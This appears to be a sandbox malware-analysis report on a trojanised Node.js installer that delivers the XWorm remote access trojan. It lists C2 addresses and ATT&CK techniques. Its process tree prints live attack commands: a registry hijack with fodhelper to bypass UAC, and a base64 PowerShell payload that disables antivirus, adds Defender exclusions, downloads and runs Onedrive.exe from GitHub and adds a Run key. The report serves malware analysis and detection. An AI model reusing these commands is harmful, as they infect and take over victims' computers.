Overview

overview

10

Static

static

1

node-v22.11.0-x64.msi

windows11-21h2-x64

10

Resubmissions

19-12-2024 13:09

241219-qdzx4stlfy 10

18-12-2024 23:58

241218-31jwmaxpcs 10

18-12-2024 23:03

241218-21nddawjh1 7

18-12-2024 22:59

241218-2ywlzawjcs 7

18-12-2024 22:44

241218-2nva6avnfy 6

18-12-2024 22:36

241218-2h9tnawjal 6

18-12-2024 22:31

241218-2fnteavlbz 10

Analysis

  • max time kernel
    96s
  • max time network
    108s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    18-12-2024 22:31

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    node-v22.11.0-x64.msi

  • Size

    28.9MB

  • MD5

    fa9e1f3064a66913362e9bff7097cef5

  • SHA1

    b34f1f9a9f6242c54486a4bc453a9336840b4425

  • SHA256

    9eea480bd30c98ae11a97cb89a9278235cbbbd03c171ee5e5198bd86b7965b4b

  • SHA512

    ad3e9469326dccac6b49185b5b2814ba700b5d83b4b3ce17f85a9adc5f90bdebf54d79800b253ed5c371ab82d27304841f86ab1a8a3c7ffade8a2d78e55dc99f

  • SSDEEP

    786432:EtShU+9S49htlhk3tKuiU9IsO9IP1/lBMS8k4:EAUK/U9IN961/l

Score
10/10
xwormdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationrattrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/michealjames96/robIox-cdn/raw/refs/heads/main/Onedrive.exe

Extracted

Family

xworm

C2

127.0.0.1:10025

147.185.221.24:10025
Attributes
  • Install_directory

    %AppData%

  • install_file

    XClient.exe

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

    defense_evasion
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 19 IoCs
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 45 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\node-v22.11.0-x64.msi
    1⤵
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:3132
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4228
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 9EF79C57667E981E41C792279A93D5C3 C
      2⤵
      • Loads dropped DLL
      PID:760
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:3300
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding 977E9D7840B9B5A7B624D8FACA066944
        2⤵
        • Loads dropped DLL
        PID:3308
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding 3E17C78F7181AEF642B2BB318CE275AE E Global\MSI0000
        2⤵
        • Loads dropped DLL
        PID:3484
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 0EF5AE6764AD092C7E981F17B5BC968F
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2316
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:396
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:1400
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe"
        1⤵
          PID:1996
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe"
          1⤵
          • Suspicious use of WriteProcessMemory
          PID:2352
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c CALL "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-prefix.js"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2276
            • C:\Program Files\nodejs\node.exe
              "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-prefix.js"
              3⤵
              • Executes dropped EXE
              PID:3788
          • C:\Program Files\nodejs\node.exe
            "C:\Program Files\nodejs\\node.exe" "C:\Program Files\nodejs\\node_modules\npm\bin\npm-cli.js" i rbx-reader-ts
            2⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2848
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c exit 0
              3⤵
                PID:3360
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c node postinstall
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2356
                • C:\Program Files\nodejs\node.exe
                  node postinstall
                  4⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:1640
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\Admin\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.bat" "C:\Users\Admin\AppData\screenshot.png" "
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1864
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\Admin\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT"
                      6⤵
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of WriteProcessMemory
                      PID:3540
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC435.tmp" "c:\Users\Admin\AppData\Local\Temp\screenCapture\CSCBA95B797711642A09EA82AFBD35EF261.TMP"
                        7⤵
                        • System Location Discovery: System Language Discovery
                        PID:2668
                    • C:\Users\Admin\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe
                      screenCapture_1.3.2.exe "C:\Users\Admin\AppData\screenshot.png"
                      6⤵
                      • Executes dropped EXE
                      PID:3884
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\x5yz78lzlwjyc16niqry\Shell\open\command" /f"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2816
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\Software\Classes\x5yz78lzlwjyc16niqry\Shell\open\command" /f
                      6⤵
                      • Modifies registry class
                      PID:4048
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\x5yz78lzlwjyc16niqry\Shell\open\command" /ve /t REG_SZ /d "C:\WindowsApi\24e16f5cf41f5728d49f5393ae4ce2feeb9f8c68.exe" /f"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4248
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\Software\Classes\x5yz78lzlwjyc16niqry\Shell\open\command" /ve /t REG_SZ /d "C:\WindowsApi\24e16f5cf41f5728d49f5393ae4ce2feeb9f8c68.exe" /f
                      6⤵
                      • Modifies registry class
                      PID:3940
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /f"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3348
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /f
                      6⤵
                      • Modifies registry class
                      PID:4968
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "C:\WindowsApi\24e16f5cf41f5728d49f5393ae4ce2feeb9f8c68.exe /c powershell -WindowStyle Hidden -Command \"$b64 = 'JHBzV2luZG93PShHZXQtUHJvY2VzcyAtSWQgJFBJRCkuTWFpbldpbmRvd0hhbmRsZTtBZGQtVHlwZSAtVHlwZURlZmluaXRpb24gJ3VzaW5nIFN5c3RlbTt1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7cHVibGljIGNsYXNzIFdpbkFQSXtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTaG93V2luZG93KEludFB0ciBoV25kLGludCBuQ21kU2hvdyk7fTsnO1tXaW5BUEldOjpTaG93V2luZG93KCRwc1dpbmRvdyw2KTtpZihHZXQtU2VydmljZSBNQkFNU2VydmljZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZXxXaGVyZS1PYmplY3R7JF8uU3RhdHVzLWVxJ1J1bm5pbmcnfSl7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggIkM6XFByb2dyYW0gRmlsZXNcTWFsd2FyZWJ5dGVzXEFudGktTWFsd2FyZVxtYWx3YXJlYnl0ZXNhc3Npc3RhbnQuZXhlIiAtQXJndW1lbnRMaXN0ICItLXN0b3BzZXJ2aWNlIn07R2V0LUNpbUluc3RhbmNlIC1DbGFzc05hbWUgV2luMzJfTG9naWNhbERpc2t8V2hlcmUtT2JqZWN0eyRfLkRyaXZlVHlwZS1lcSAzfXxGb3JFYWNoLU9iamVjdHtBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICgkXy5EZXZpY2VJRC5UcmltKCkrIlwiKX07JHU9Imh0dHBzOi8vZ2l0aHViLmNvbS9taWNoZWFsamFtZXM5Ni9yb2JJb3gtY2RuL3Jhdy9yZWZzL2hlYWRzL21haW4vT25lZHJpdmUuZXhlIjskcD0iJGVudjpURU1QXE9uZWRyaXZlLmV4ZSI7SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkdSAtT3V0RmlsZSAkcCAtVXNlQmFzaWNQYXJzaW5nO1N0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICRwIC1WZXJiIFJ1bkFzOyRzdGFydHVwS2V5PSJIS0NVOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4iO1NldC1JdGVtUHJvcGVydHkgLVBhdGggJHN0YXJ0dXBLZXkgLU5hbWUgIk9uZWRyaXZlIiAtVmFsdWUgJHAgLUZvcmNl'; $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64)); Invoke-Expression $decoded\"" /f"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4876
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "C:\WindowsApi\24e16f5cf41f5728d49f5393ae4ce2feeb9f8c68.exe /c powershell -WindowStyle Hidden -Command \"$b64 = 'JHBzV2luZG93PShHZXQtUHJvY2VzcyAtSWQgJFBJRCkuTWFpbldpbmRvd0hhbmRsZTtBZGQtVHlwZSAtVHlwZURlZmluaXRpb24gJ3VzaW5nIFN5c3RlbTt1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7cHVibGljIGNsYXNzIFdpbkFQSXtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTaG93V2luZG93KEludFB0ciBoV25kLGludCBuQ21kU2hvdyk7fTsnO1tXaW5BUEldOjpTaG93V2luZG93KCRwc1dpbmRvdyw2KTtpZihHZXQtU2VydmljZSBNQkFNU2VydmljZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZXxXaGVyZS1PYmplY3R7JF8uU3RhdHVzLWVxJ1J1bm5pbmcnfSl7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggIkM6XFByb2dyYW0gRmlsZXNcTWFsd2FyZWJ5dGVzXEFudGktTWFsd2FyZVxtYWx3YXJlYnl0ZXNhc3Npc3RhbnQuZXhlIiAtQXJndW1lbnRMaXN0ICItLXN0b3BzZXJ2aWNlIn07R2V0LUNpbUluc3RhbmNlIC1DbGFzc05hbWUgV2luMzJfTG9naWNhbERpc2t8V2hlcmUtT2JqZWN0eyRfLkRyaXZlVHlwZS1lcSAzfXxGb3JFYWNoLU9iamVjdHtBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICgkXy5EZXZpY2VJRC5UcmltKCkrIlwiKX07JHU9Imh0dHBzOi8vZ2l0aHViLmNvbS9taWNoZWFsamFtZXM5Ni9yb2JJb3gtY2RuL3Jhdy9yZWZzL2hlYWRzL21haW4vT25lZHJpdmUuZXhlIjskcD0iJGVudjpURU1QXE9uZWRyaXZlLmV4ZSI7SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkdSAtT3V0RmlsZSAkcCAtVXNlQmFzaWNQYXJzaW5nO1N0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICRwIC1WZXJiIFJ1bkFzOyRzdGFydHVwS2V5PSJIS0NVOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4iO1NldC1JdGVtUHJvcGVydHkgLVBhdGggJHN0YXJ0dXBLZXkgLU5hbWUgIk9uZWRyaXZlIiAtVmFsdWUgJHAgLUZvcmNl'; $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64)); Invoke-Expression $decoded\"" /f
                      6⤵
                      • Modifies registry class
                      PID:5012
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f"
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4624
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
                      6⤵
                      • Modifies registry class
                      PID:1492
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command Start-Process -FilePath "C:\Windows\System32\fodhelper.exe""
                    5⤵
                    • Hide Artifacts: Hidden Window
                    • Suspicious use of WriteProcessMemory
                    PID:3876
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell.exe -WindowStyle Hidden -Command Start-Process -FilePath "C:\Windows\System32\fodhelper.exe"
                      6⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of WriteProcessMemory
                      PID:2724
                      • C:\Windows\System32\fodhelper.exe
                        "C:\Windows\System32\fodhelper.exe"
                        7⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2812
                        • C:\WindowsApi\24e16f5cf41f5728d49f5393ae4ce2feeb9f8c68.exe
                          "C:\WindowsApi\24e16f5cf41f5728d49f5393ae4ce2feeb9f8c68.exe" /c powershell -WindowStyle Hidden -Command "$b64 = 'JHBzV2luZG93PShHZXQtUHJvY2VzcyAtSWQgJFBJRCkuTWFpbldpbmRvd0hhbmRsZTtBZGQtVHlwZSAtVHlwZURlZmluaXRpb24gJ3VzaW5nIFN5c3RlbTt1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7cHVibGljIGNsYXNzIFdpbkFQSXtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTaG93V2luZG93KEludFB0ciBoV25kLGludCBuQ21kU2hvdyk7fTsnO1tXaW5BUEldOjpTaG93V2luZG93KCRwc1dpbmRvdyw2KTtpZihHZXQtU2VydmljZSBNQkFNU2VydmljZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZXxXaGVyZS1PYmplY3R7JF8uU3RhdHVzLWVxJ1J1bm5pbmcnfSl7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggIkM6XFByb2dyYW0gRmlsZXNcTWFsd2FyZWJ5dGVzXEFudGktTWFsd2FyZVxtYWx3YXJlYnl0ZXNhc3Npc3RhbnQuZXhlIiAtQXJndW1lbnRMaXN0ICItLXN0b3BzZXJ2aWNlIn07R2V0LUNpbUluc3RhbmNlIC1DbGFzc05hbWUgV2luMzJfTG9naWNhbERpc2t8V2hlcmUtT2JqZWN0eyRfLkRyaXZlVHlwZS1lcSAzfXxGb3JFYWNoLU9iamVjdHtBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICgkXy5EZXZpY2VJRC5UcmltKCkrIlwiKX07JHU9Imh0dHBzOi8vZ2l0aHViLmNvbS9taWNoZWFsamFtZXM5Ni9yb2JJb3gtY2RuL3Jhdy9yZWZzL2hlYWRzL21haW4vT25lZHJpdmUuZXhlIjskcD0iJGVudjpURU1QXE9uZWRyaXZlLmV4ZSI7SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkdSAtT3V0RmlsZSAkcCAtVXNlQmFzaWNQYXJzaW5nO1N0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICRwIC1WZXJiIFJ1bkFzOyRzdGFydHVwS2V5PSJIS0NVOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4iO1NldC1JdGVtUHJvcGVydHkgLVBhdGggJHN0YXJ0dXBLZXkgLU5hbWUgIk9uZWRyaXZlIiAtVmFsdWUgJHAgLUZvcmNl'; $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64)); Invoke-Expression $decoded"
                          8⤵
                          • Executes dropped EXE
                          PID:3264
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell -WindowStyle Hidden -Command "$b64 = 'JHBzV2luZG93PShHZXQtUHJvY2VzcyAtSWQgJFBJRCkuTWFpbldpbmRvd0hhbmRsZTtBZGQtVHlwZSAtVHlwZURlZmluaXRpb24gJ3VzaW5nIFN5c3RlbTt1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7cHVibGljIGNsYXNzIFdpbkFQSXtbRGxsSW1wb3J0KCJ1c2VyMzIuZGxsIildcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTaG93V2luZG93KEludFB0ciBoV25kLGludCBuQ21kU2hvdyk7fTsnO1tXaW5BUEldOjpTaG93V2luZG93KCRwc1dpbmRvdyw2KTtpZihHZXQtU2VydmljZSBNQkFNU2VydmljZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZXxXaGVyZS1PYmplY3R7JF8uU3RhdHVzLWVxJ1J1bm5pbmcnfSl7U3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggIkM6XFByb2dyYW0gRmlsZXNcTWFsd2FyZWJ5dGVzXEFudGktTWFsd2FyZVxtYWx3YXJlYnl0ZXNhc3Npc3RhbnQuZXhlIiAtQXJndW1lbnRMaXN0ICItLXN0b3BzZXJ2aWNlIn07R2V0LUNpbUluc3RhbmNlIC1DbGFzc05hbWUgV2luMzJfTG9naWNhbERpc2t8V2hlcmUtT2JqZWN0eyRfLkRyaXZlVHlwZS1lcSAzfXxGb3JFYWNoLU9iamVjdHtBZGQtTXBQcmVmZXJlbmNlIC1FeGNsdXNpb25QYXRoICgkXy5EZXZpY2VJRC5UcmltKCkrIlwiKX07JHU9Imh0dHBzOi8vZ2l0aHViLmNvbS9taWNoZWFsamFtZXM5Ni9yb2JJb3gtY2RuL3Jhdy9yZWZzL2hlYWRzL21haW4vT25lZHJpdmUuZXhlIjskcD0iJGVudjpURU1QXE9uZWRyaXZlLmV4ZSI7SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkdSAtT3V0RmlsZSAkcCAtVXNlQmFzaWNQYXJzaW5nO1N0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICRwIC1WZXJiIFJ1bkFzOyRzdGFydHVwS2V5PSJIS0NVOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4iO1NldC1JdGVtUHJvcGVydHkgLVBhdGggJHN0YXJ0dXBLZXkgLU5hbWUgIk9uZWRyaXZlIiAtVmFsdWUgJHAgLUZvcmNl'; $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64)); Invoke-Expression $decoded"
                            9⤵
                            • Blocklisted process makes network request
                            • Command and Scripting Interpreter: PowerShell
                            • Adds Run key to start application
                            • Suspicious behavior: EnumeratesProcesses
                            PID:3128
                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\p1whnxat\p1whnxat.cmdline"
                              10⤵
                                PID:1280
                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCA11.tmp" "c:\Users\Admin\AppData\Local\Temp\p1whnxat\CSC4AC7294E5D0F4A18934545C8EA03A33.TMP"
                                  11⤵
                                    PID:964
                                • C:\Users\Admin\AppData\Local\Temp\Onedrive.exe
                                  "C:\Users\Admin\AppData\Local\Temp\Onedrive.exe"
                                  10⤵
                                  • Drops startup file
                                  • Executes dropped EXE
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of SetWindowsHookEx
                                  PID:4444
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "[Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] | Out-Null; Get-ChildItem HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings | ForEach-Object { ([Windows.UI.Notifications.ToastNotificationManager]::History).clear(($_.Name -split '\\')[-1].TrimEnd('}')) }""
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1532
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -Command "[Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] | Out-Null; Get-ChildItem HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings | ForEach-Object { ([Windows.UI.Notifications.ToastNotificationManager]::History).clear(($_.Name -split '\\')[-1].TrimEnd('}')) }"
                          6⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          PID:3244

              Network

              MITRE ATT&CK Enterprise v15

              Reconnaissance

              Resource Development

              Initial Access

              Execution

              Command and Scripting Interpreter

              1
              T1059

              PowerShell

              1
              T1059.001

              Persistence

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Event Triggered Execution

              1
              T1546

              Installer Packages

              1
              T1546.016

              Privilege Escalation

              Boot or Logon Autostart Execution

              1
              T1547

              Registry Run Keys / Startup Folder

              1
              T1547.001

              Event Triggered Execution

              1
              T1546

              Installer Packages

              1
              T1546.016

              Defense Evasion

              Hide Artifacts

              1
              T1564

              Hidden Window

              1
              T1564.003

              Modify Registry

              1
              T1112

              System Binary Proxy Execution

              1
              T1218

              Msiexec

              1
              T1218.007

              Credential Access

              Discovery

              Peripheral Device Discovery

              2
              T1120

              Query Registry

              2
              T1012

              System Information Discovery

              3
              T1082

              System Location Discovery

              1
              T1614

              System Language Discovery

              1
              T1614.001

              Lateral Movement

              Collection

              Command and Control

              Web Service

              1
              T1102

              Exfiltration

              Impact

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Config.Msi\e581d96.rbs
                Filesize

                935KB

                MD5

                c0968863069a5a79bef228afc29522db

                SHA1

                bf9c3b0c08e46b141e029231dc88c08e357cd47a

                SHA256

                9b79795ff9c4eb80cfb182c178c01231d969beec3aae3ca764fb3ac181e331f0

                SHA512

                b676c3c8ce645d579d47efac42d730bae08b8c315f4dc882ce360204c9b1430b743f09aec4241128bd9e50681b01a68d83737016d4b4a552a0af14c2df95e6fa

                Download Submit

              • C:\Program Files\nodejs\node_modules\npm\bin\npm-prefix.js
                Filesize

                864B

                MD5

                92dd1b5a463374142271ff420cb473a5

                SHA1

                a9f946c6a8c6f273f837703acc74c367b7781a99

                SHA256

                673f620e40137c295f2cf057364468bf3a71653dfc0973be895ebf7a8c368c2e

                SHA512

                5e0a6e4a9cff4b37acbece070a592a65ed044a78e1b104517eb5bb233d4398f67140b44e986e7a2de16bfb65b0ab7609e831341efea2a6f583258b6a85f70e01

                Download Submit

              • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\definitions\definition.js
                Filesize

                6KB

                MD5

                882260e7dd69f6a1403c4b364412ef59

                SHA1

                a3f3f9430c43ab1e0e485532cc4ddfe73cac7784

                SHA256

                8d2dd6fdf38c2cceed52e113d3c179510280f7f9eccb3fa8d9f257edea2b0741

                SHA512

                bec5072a0c0cacc51919d4dbcdedeb99f1450e3f9cf1f0786a08a96c8bb06763da41b375afb932652693ac3558f32775abfa73658db386a15c8515ac19207665

                Download Submit

              • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\definitions\definitions.js
                Filesize

                74KB

                MD5

                ac2829ac584b52c925a7159c1a9cbfea

                SHA1

                3cdaf7d42cb81090742ca76988e80f06b3f98764

                SHA256

                79164e3881df94b91226fecfbb40133ab1f26d6bf66953f37f72dc1dd5bb9610

                SHA512

                fb77ef96f4a8ee1f6958dff93dd669b033b17a7b1ab5713d224dbeb32773d75c924e6bf04f779736413a14e7426d86c65daa7b4381c3a6294bb5d2e9a1981774

                Download Submit

              • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\definitions\index.js
                Filesize

                2KB

                MD5

                37d8a6912f48e0f28461f69815985ee8

                SHA1

                06cb384f853ae5cc622cccaed2dd51ae763bc742

                SHA256

                8082123435ecf20322d330e1efe7ff2ebba7b48b9a33950f11ff57e06319f225

                SHA512

                289c30d5a0c540d70dd0504c28ad771c871d541a41e9490c94f2c2d365b52b478fef6a2485f0d7671f26b1746d28762f9c28d5917c2ceb38ea11b25f7e67a816

                Download Submit

              • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\env-replace.js
                Filesize

                428B

                MD5

                5b09814c86692cb123e72a3c83df5cc5

                SHA1

                be27af27e16d27bc7b35ce23ca0102658bc7915d

                SHA256

                faf24168246ff247179947ca899172d442688c599840ccf41798cada6c36bc3c

                SHA512

                a007e64b2e948599280af40aedacb9063619b1fce124393d240070201765595387fb7d5a49f63817de310676c309106349e35637790cbd629e9155c282efe360

                Download Submit

              • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\index.js
                Filesize

                29KB

                MD5

                a2819bc319ade96e220b81c11ba1fd62

                SHA1

                f711920489d12ac7704e323de4cea98009299e7d

                SHA256

                9976a7f202a683370a170f8ab053d89cf6450c9d0596d8bed92bb762f0dca92e

                SHA512

                64b409c59d3e7df84ddd87163fb03f38d1bbed259323392685e01103ff9d2a43b456a5df5812e2bd3de61e0ae61520ccad444a92ea908a15bd871146630edd32

                Download Submit

              • C:\Program Files\nodejs\node_modules\npm\node_modules\@npmcli\config\lib\nerf-dart.js
                Filesize

